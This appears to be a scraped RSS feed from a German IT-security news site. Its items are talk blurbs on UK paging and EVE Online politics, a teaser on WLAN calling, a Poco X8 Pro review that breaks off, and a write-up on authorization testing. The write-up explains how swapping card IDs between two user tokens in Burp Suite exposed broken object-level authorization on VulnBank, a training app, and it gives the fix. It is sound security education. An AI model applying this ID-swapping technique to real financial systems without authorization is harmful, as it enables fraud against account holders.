<pubDate>Sat, 18 Jul 2026 18:48:40 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachable, and a generation of teenagers mysteriously popular.

This talk traces the arc of paging in the UK, from the launch of the first commercial paging service by British Telecom in the 1950s through to the golden era of consumer paging in the 1980s and 90s. We'll look at the major networks — PageOne, Vodafone &amp; BT  — and the protocols that underpinned them: POCSAG, the workhorse standard developed at the Post Office Research Centre, and FLEX, Motorola's higher-speed successor. We'll touch on why paging quietly outlasted the first wave of mobile phones in critical sectors, and why a small but dedicated community still relies on them today.

Then we get hands-on. Using an ESP32 and an SX1262 LoRa module — total cost under £15 — I'll demonstrate a working POCSAG transmitter built entirely with open-source tools like RadioLib. We'll send a real message, to a 30 year old pager and show how it can be useful today.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/47-building-a-tiny-paging-network]]></content:encoded>
</item>
<item>
<title><![CDATA[A Window into the Capsule: EVE Online's Politics of Betrayal (emf2026)]]></title>
<description><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone...]]></description>
<link>https://tsecurity.de/de/3678070/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678070/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:33:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone from the frontlines to the CEO's chair, via counter-intelligence and alliance leadership. I'll unpack what drives the infamous metagame: friendships, alliances, diplomacy, and a shifting political landscape shaped by a community I've watched grow from an adversarial, macho culture into something far more willing to call out chauvinism and bigotry, even from its cultural figureheads and media personalities.

My real life has shadowed my EVE one, and the game has rewarded me with hard-won skills as an engineer, leader, and now corporate decision-maker. The heartbreak of betrayal is real and ever present, yet I keep coming back, because something here makes the pain and the work worth it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/306-a-window-into-the-capsule-eve-onlines-politics-of-betrayal]]></content:encoded>
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<item>
<title><![CDATA[A Window into the Capsule: EVE Online's Politics of Betrayal (emf2026)]]></title>
<description><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone...]]></description>
<link>https://tsecurity.de/de/3677984/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677984/it-security-video/a-window-into-the-capsule-eve-onlines-politics-of-betrayal-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[EVE Online is a 23-year-old space MMORPG famous for espionage, betrayal, million-dollar virtual battles, and being the galaxy's most elaborate Excel expansion pack. What does it take to become a political mover and shaker in this world?

Over two decades inside EVE's cutthroat politics, I've gone from the frontlines to the CEO's chair, via counter-intelligence and alliance leadership. I'll unpack what drives the infamous metagame: friendships, alliances, diplomacy, and a shifting political landscape shaped by a community I've watched grow from an adversarial, macho culture into something far more willing to call out chauvinism and bigotry, even from its cultural figureheads and media personalities.

My real life has shadowed my EVE one, and the game has rewarded me with hard-won skills as an engineer, leader, and now corporate decision-maker. The heartbreak of betrayal is real and ever present, yet I keep coming back, because something here makes the pain and the work worth it.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/306-a-window-into-the-capsule-eve-onlines-politics-of-betrayal]]></content:encoded>
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<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[WLAN-Call im Urlaub: Warum du diese Funktion jetzt deaktivieren solltest]]></title>
<description><![CDATA[Wer im Urlaub Anrufe tätigt, verlässt sich dabei oft auf eine praktische WLAN-Funktion des Smartphones. Allerdings kann das zu hohen Kosten führen, sobald du wieder zu Hause bist. Wie du das vermeidest.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3677452/it-nachrichten/wlan-call-im-urlaub-warum-du-diese-funktion-jetzt-deaktivieren-solltest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677452/it-nachrichten/wlan-call-im-urlaub-warum-du-diese-funktion-jetzt-deaktivieren-solltest/</guid>
<pubDate>Sat, 18 Jul 2026 06:46:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wer im Urlaub Anrufe tätigt, verlässt sich dabei oft auf eine praktische WLAN-Funktion des Smartphones. Allerdings kann das zu hohen Kosten führen, sobald du wieder zu Hause bist. Wie du das vermeidest.
<a href="https://t3n.de/news/wlan-call-urlaub-kostenfalle-deaktivieren-1752515/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[Xiaomi Poco X8 Pro im Test: Flaggschiff-Niveau zum Preis der Einstiegsklasse]]></title>
<description><![CDATA[Chris Hall / Foundry



Auf einen Blick



Pro




Hervorragende Leistung für diesen Preis



Beeindruckende Akkulaufzeit und Ladeverhalten



Hervorragendes Display




Kontra




Umständliche Software mit Bloatware



Schwache Ultraweitwinkelkamera




Fazit



Das X8 Pro bietet ein hervorragen...]]></description>
<link>https://tsecurity.de/de/3677425/it-security-nachrichten/xiaomi-poco-x8-pro-im-test-flaggschiff-niveau-zum-preis-der-einstiegsklasse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677425/it-security-nachrichten/xiaomi-poco-x8-pro-im-test-flaggschiff-niveau-zum-preis-der-einstiegsklasse/</guid>
<pubDate>Sat, 18 Jul 2026 06:07:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.17.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197730" width="1024" height="586" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Hervorragende Leistung für diesen Preis</li>



<li>Beeindruckende Akkulaufzeit und Ladeverhalten</li>



<li>Hervorragendes Display</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>Umständliche Software mit Bloatware</li>



<li>Schwache Ultraweitwinkelkamera</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Das X8 Pro bietet ein hervorragendes Preis-Leistungs-Verhältnis und festigt damit Pocos Position als ideale Wahl für preisbewusste Nutzer, die die Leistung benötigen, um die neuesten Spiele zu spielen. Zwar gibt es Abstriche bei der täglichen Softwarenutzung und bei den Kameras, doch als leistungsorientiertes Smartphone lässt es kaum Wünsche offen.</p>



<p class="wp-block-paragraph">Poco hat es sich zum Ziel gesetzt, jüngeren Käufern mit knapperem Budget leistungsstarke Smartphones anzubieten, wobei stets ein großartiges Gaming-Erlebnis im Vordergrund steht.</p>



<p class="wp-block-paragraph">Das Poco X8 Pro ist der Nachfolger des <a href="https://www.pcwelt.de/article/3181862/xiaomi-poco-x8-pro-test.html#" target="_blank">Poco X7 Pro</a> aus dem Jahr 2025 und steht neben dem <a href="https://www.pcwelt.de/article/3105908/tpoco-x8-pro-max-test.html" target="_blank">Poco X8 Pro Max</a>, das etwas mehr kostet und technisch besser ausgestattet ist.</p>



<p class="wp-block-paragraph">Zur Einordnung: Poco ist eine Submarke von Xiaomi, ebenso wie Redmi, weshalb sich das Nutzungserlebnis stark an dem von Xiaomi-Smartphones orientiert.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>Aluminiumrahmen</li>



<li>Glasrückseite</li>



<li>IP68-Schutz</li>
</ul>



<p class="wp-block-paragraph">Das Poco X8 Pro hat nicht mehr die zweifarbige Oberfläche des Poco X7 Pro und ist nun einfach in den Farben Schwarz, Weiß und Mintgrün erhältlich.</p>



<p class="wp-block-paragraph">Im Vergleich zu früheren Modellen hat sich nicht viel geändert: Auf der Rückseite befindet sich nach wie vor eine Doppelkamera, der LED-Blitz hat indessen ein rundes statt eines länglichen Designs.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.25.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197731" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<p class="wp-block-paragraph">Der flache Aluminiumrahmen wurde beibehalten, inklusive der charakteristischen roten Fase am seitlichen Ein-/Ausschalter, wirkt ansonsten aber eher schlicht. Auch das Display ist flach.</p>



<p class="wp-block-paragraph">Das Poco X8 Pro hat die Schutzklasse IP68, erreicht jedoch nicht die Schutzklasse IP69K, die viele Geräte mittlerweile bieten. Das spielt jedoch keine Rolle: IP68 hält dem Eintauchen in Wasser stand, während IP69K gegen Hochdruck-Heißwasser resistent ist – was die Frage aufwirft, was genau man eigentlich mit seinem Handy anstellen möchte.</p>



<p class="wp-block-paragraph">Mit einem Gewicht von 201 Gramm und einer Dicke von 8,38 Millimetern liegt das Poco X8 Pro im Durchschnitt für ein modernes Smartphone.</p>



<h2 class="wp-block-heading">Bildschirm &amp; Lautsprecher</h2>



<ul class="wp-block-list">
<li>AMOLED-Display mit 6,59 Zoll, 120 Hertz</li>



<li>Auflösung 2.756 x 1.268 Pixel</li>



<li>Spitzenhelligkeit von 3.500 Nits</li>
</ul>



<p class="wp-block-paragraph">Das Display des Poco X8 Pro mit 6,59 Zoll ist etwas kleiner als beim X7 Pro mit 6,67 Zoll, während das Display des Poco X8 Pro Max 6,83 Zoll hat. Das ist die einzige wirkliche Änderung: Das X8 Pro behält die hohe Auflösung und Bildwiederholfrequenz bei, während die Spitzenhelligkeit mit 3.500 Nits etwas höher liegt als beim Vorgängermodell.</p>



<p class="wp-block-paragraph">Wie bereits erwähnt, handelt es sich um ein flaches Display, das sich dank der Bildwiederholfrequenz von 120 Hertz und der schnellen Touch-Abtastraten ideal für Gamer eignet.</p>



<p class="wp-block-paragraph">Ich empfand das Display als sehr hell mit schönen, lebendigen Farben; im Menü gibt es Optionen, um es nach eigenen Vorlieben anzupassen. Zwar sind diese Spitzenhelligkeiten für HDR-Inhalte reserviert, doch empfand ich die Helligkeit als gut. Hier gibt es also nichts zu beanstanden.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.29.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197735" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<p class="wp-block-paragraph">Wie bei den meisten Smartphones heutzutage ist bereits werkseitig eine Displayschutzfolie aufgebracht. Ich habe festgestellt, dass diese während meiner Tests ein paar Spuren davongetragen hat, die den Bildschirm aber wohl kaum zerkratzt hätten, sie ist also vielleicht etwas weicher als mir lieb ist. Das Display selbst besteht aus Gorilla Glass 7i, was für Mittelklasse-Smartphones typisch ist.<br></p>



<p class="wp-block-paragraph">Die Lautsprecher des Poco X8 Pro sind gut: Der Hörer übernimmt den Großteil der hohen Töne, während der Lautsprecher an der Unterseite des Smartphones für die Bässe und einen Großteil der Mitten sorgt.</p>



<p class="wp-block-paragraph">Die Gesprächsqualität empfand ich als klar, und auch von den Gesprächspartnern gab es keine Beanstandungen.</p>



<h2 class="wp-block-heading">Technische Daten &amp; Leistung</h2>



<ul class="wp-block-list">
<li>Mediatek Dimensity 8500 Ultra</li>



<li>8 oder 12 GB RAM</li>



<li>256 oder 512 GB Speicher</li>
</ul>



<p class="wp-block-paragraph">Poco hat sich seinen Ruf vor allem dadurch erarbeitet, dass das Unternehmen Smartphones mit leistungsstarker Hardware zu Preisen anbietet, mit denen die Konkurrenz kaum mithalten kann. Das gilt auch für das X8 Pro. Das Herzstück dieses Smartphones bildet der Dimensity 8500 Ultra.</p>



<p class="wp-block-paragraph">Damit ist es in der Kategorie knapp unterhalb der Flaggschiff-Smartphones angesiedelt, wird aber zu einem Preis angeboten, der eher der Mittelklasse entspricht. Das Gerät lässt sich gut bedienen, läuft angenehm flüssig und blieb auch bei langen Gaming-Sessions mit „Call of Duty: Mobile“ kühl und ohne spürbare Überhitzung.</p>



<p class="wp-block-paragraph">Ich habe das X8 Pro mit 12 GB RAM und 512 GB Speicher getestet. Verfügbar ist auch eine Version mit 8 GB RAM und wahlweise 256 GB oder 512 GB Speicher.</p>



<p class="wp-block-paragraph">Das X8 Pro verfügt über eine etwas schwächere Hardwareausstattung als das X8 Pro Max. Benchmarks zeigen, dass das größere Smartphone eine etwas bessere Leistung bringt, obwohl beide im täglichen Gebrauch absolut flüssig laufen.</p>



<p class="wp-block-paragraph">Was das Preis-Leistungs-Verhältnis und die Leistung im Vergleich zu gängigen Konkurrenzmodellen angeht, übertrifft sich das Poco X8 Pro selbst. Es bietet ein Flaggschiff-Erlebnis.</p>



<div class="infogram-embed" data-id="c0f18889-e88d-4c9c-8829-f4b93e35ef24" data-type="interactive" data-title="Poco X8 Pro benchmarks"></div>




<h2 class="wp-block-heading">Kameras</h2>



<ul class="wp-block-list">
<li>Hauptkamera 50 Megapixel mit f/1,5, 1/1,95-Zoll-Sensor</li>



<li>Ultraweitwinkelkamera 8 Megapixel mit f/2,2</li>



<li>Frontkamera 20 Megapixel mit f/2,2</li>
</ul>



<p class="wp-block-paragraph">Einer der Bereiche, in denen Poco Abstriche macht, um den attraktiven Preis zu erreichen, ist die Kamera: Das X8 Pro verfügt über zwei Kameras auf der Rückseite. Ich bin froh, dass keine minderwertigen Sensoren die Kamera aufblähen, um den Anschein einer Flaggschiff-Kamera zu erwecken. Stattdessen gibt es eine ordentliche Hauptkamera und eine Ultraweitwinkelkamera, die gerade noch in Ordnung ist.</p>



<p class="wp-block-paragraph">Die Hauptkamera ist das Herzstück des X8 Pro. Sie nutzt einen Sony IMX882-Sensor, der für Mittelklasse-Smartphones konzipiert ist, verfügt jedoch über dasselbe Objektiv wie das X7 Pro und das X8 Pro Max. Die Leistung ist angemessen, wird aber keine Preise gewinnen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.32.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197737" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<p class="wp-block-paragraph">Bei gutem Licht gelingen schöne, ausgewogene Aufnahmen; in helleren Umgebungen neigt die Kamera jedoch zur Überbelichtung, wobei auch die Farbtreue leidet. Aufgrund der großen Blendenöffnung von f/1,5 führt ein zu geringer Abstand zum Motiv dazu, dass große Teile davon unscharf werden. Einen speziellen Makromodus gibt es nicht, sodass man entweder zurücktreten oder den zweifachen Zoom per Sensorauschnitt nutzen muss.</p>



<p class="wp-block-paragraph">Die Leistung bei schwachem Licht ist nicht zuletzt dank der Blende solide. Sie kann zwar nicht mit dem <a href="https://www.pcwelt.de/article/3104634/google-pixel-10a-test.html" target="_blank">Pixel 10a</a> oder anderen Spitzenmodellen in diesem Bereich mithalten, liefert aber dennoch brauchbare Ergebnisse, auch wenn sich selbst bei Tageslicht in Innenräumen schnell Bildrauschen in den Schattenbereichen bemerkbar macht.</p>



<p class="wp-block-paragraph">Ein Teleobjektiv fehlt; stattdessen kommt ein Zoom per Sensorauschnitt bis zur zehnfachen Vergrößerung zum Einsatz, dessen Ergebnisse jedoch nicht überzeugen. Wer Wert auf Zoom-Fotografie legt, sollte sich nicht für das Poco X8 Pro entscheiden.</p>



<p class="wp-block-paragraph">Das Ultraweitwinkelobjektiv weist an den Rändern Unschärfe auf und hat einen etwas satteren Farbton als die Hauptkamera, was wahrscheinlich auf eine Anpassung zurückzuführen ist, die das Bild optisch verbessern soll.</p>



<p class="wp-block-paragraph">Ich habe festgestellt, dass es den Himmel blauer und das Gras grüner darstellt, als hätte jemand den Sättigungsregler hochgedreht. Da es sich um einen festen Fokus handelt, wird alles, was zu nah am Objektiv liegt, unscharf abgebildet.</p>



<p class="wp-block-paragraph">Die Selfie-Kamera ist in Ordnung, verfügt jedoch ebenfalls über einen festen Fokus, während die Porträt-Kantenerkennung nicht so ausgefeilt ist wie bei teureren Kameras. Der Effekt lässt sich zwar bereits bei der Aufnahme anpassen, doch die Ergebnisse sind nicht immer überzeugend, wie unten zu sehen ist.</p>



<p class="wp-block-paragraph">Bei schlechteren Lichtverhältnissen lässt die Leistung deutlich nach; selbst bei Innenaufnahmen wirken die Bilder weichgezeichnet und unscharf.</p>



<p class="wp-block-paragraph">Videoaufnahmen sind mit bis zu 4K bei 60 fps möglich, während die Frontkamera 1080p bei 60 fps liefert. Das ist ordentlich, aber nichts Besonderes.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>Akku mit 6500 mAh</li>



<li>100-Watt-Ladefunktion</li>



<li>27-Watt-Reverse-Laden</li>
</ul>



<p class="wp-block-paragraph">Poco hat das X8 Pro mit einem beeindruckenden 6500-mAh-Akku und einer 100-Watt-Ladefunktion ausgestattet. Das macht sich auch in der Leistung bemerkbar: Die Akkulaufzeit ist zweifellos eine der größten Stärken des Poco X8 Pro.</p>



<p class="wp-block-paragraph">Ich bin es gewohnt, mein Smartphone jede Nacht aufzuladen, doch während des Tests war dies oft gar nicht nötig, weil der Akku noch genügend Kapazität hatte.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.36.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197738" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



<p class="wp-block-paragraph">Das 100-Watt-Laden über Kabel ist toll: Schließen Sie das Gerät einfach an, wenn der Akku fast leer ist, und schon sind Sie im Handumdrehen wieder bei hohen Ladezuständen. Ich habe festgestellt, dass ich nach 30 Minuten Ladezeit bei leerem Akku bereits 80 Prozent erreicht habe.<br><br>Sie erhalten die höchsten Ladegeschwindigkeiten nicht von Anfang an. Um diese zu erreichen, werden Sie gefragt, ob Sie das „Boost“-Laden aktivieren möchten, weil schnelle Ladegeschwindigkeiten den Akku schneller verschleißen als gemäßigtes Aufladen.</p>



<p class="wp-block-paragraph">Das X8 Pro unterstützt Reverse-Laden mit bis zu 27 Watt, sodass Sie im Notfall alle möglichen Geräte aufladen können. Drahtloses Laden ist jedoch nicht möglich.</p>



<h2 class="wp-block-heading">Software &amp; Apps</h2>



<ul class="wp-block-list">
<li>Android 16</li>



<li>HyperOS 3</li>



<li>4 große Betriebssystemupdates, 6 Jahre Sicherheitsupdates</li>
</ul>



<p class="wp-block-paragraph">Das Poco X8 Pro läuft auf <a href="https://www.pcwelt.de/article/2814156/android-16-diese-smartphones-bekommen-das-update.html" target="_blank">Android 16</a> und nutzt HyperOS 3, die Software, die Sie auch auf Redmi- und Xiaomi-Smartphones vorfinden. Die Benutzererfahrung mit dieser Software ist vergleichbar und weist die gleichen allgemeinen Stärken und Schwächen auf.</p>



<p class="wp-block-paragraph">Allerdings gibt es hier gewisse Unterschiede, da Poco in seiner Version von HyperOS Bloatware und Werbung aggressiver einbindet als Xiaomi, vermutlich, um den niedrigeren Preis auszugleichen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-12.28.39.png?w=1024" alt="Xiaomi Poco X8 Pro" class="wp-image-4197740" width="1024" height="578" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Chris Hall / Foundry</p></div>



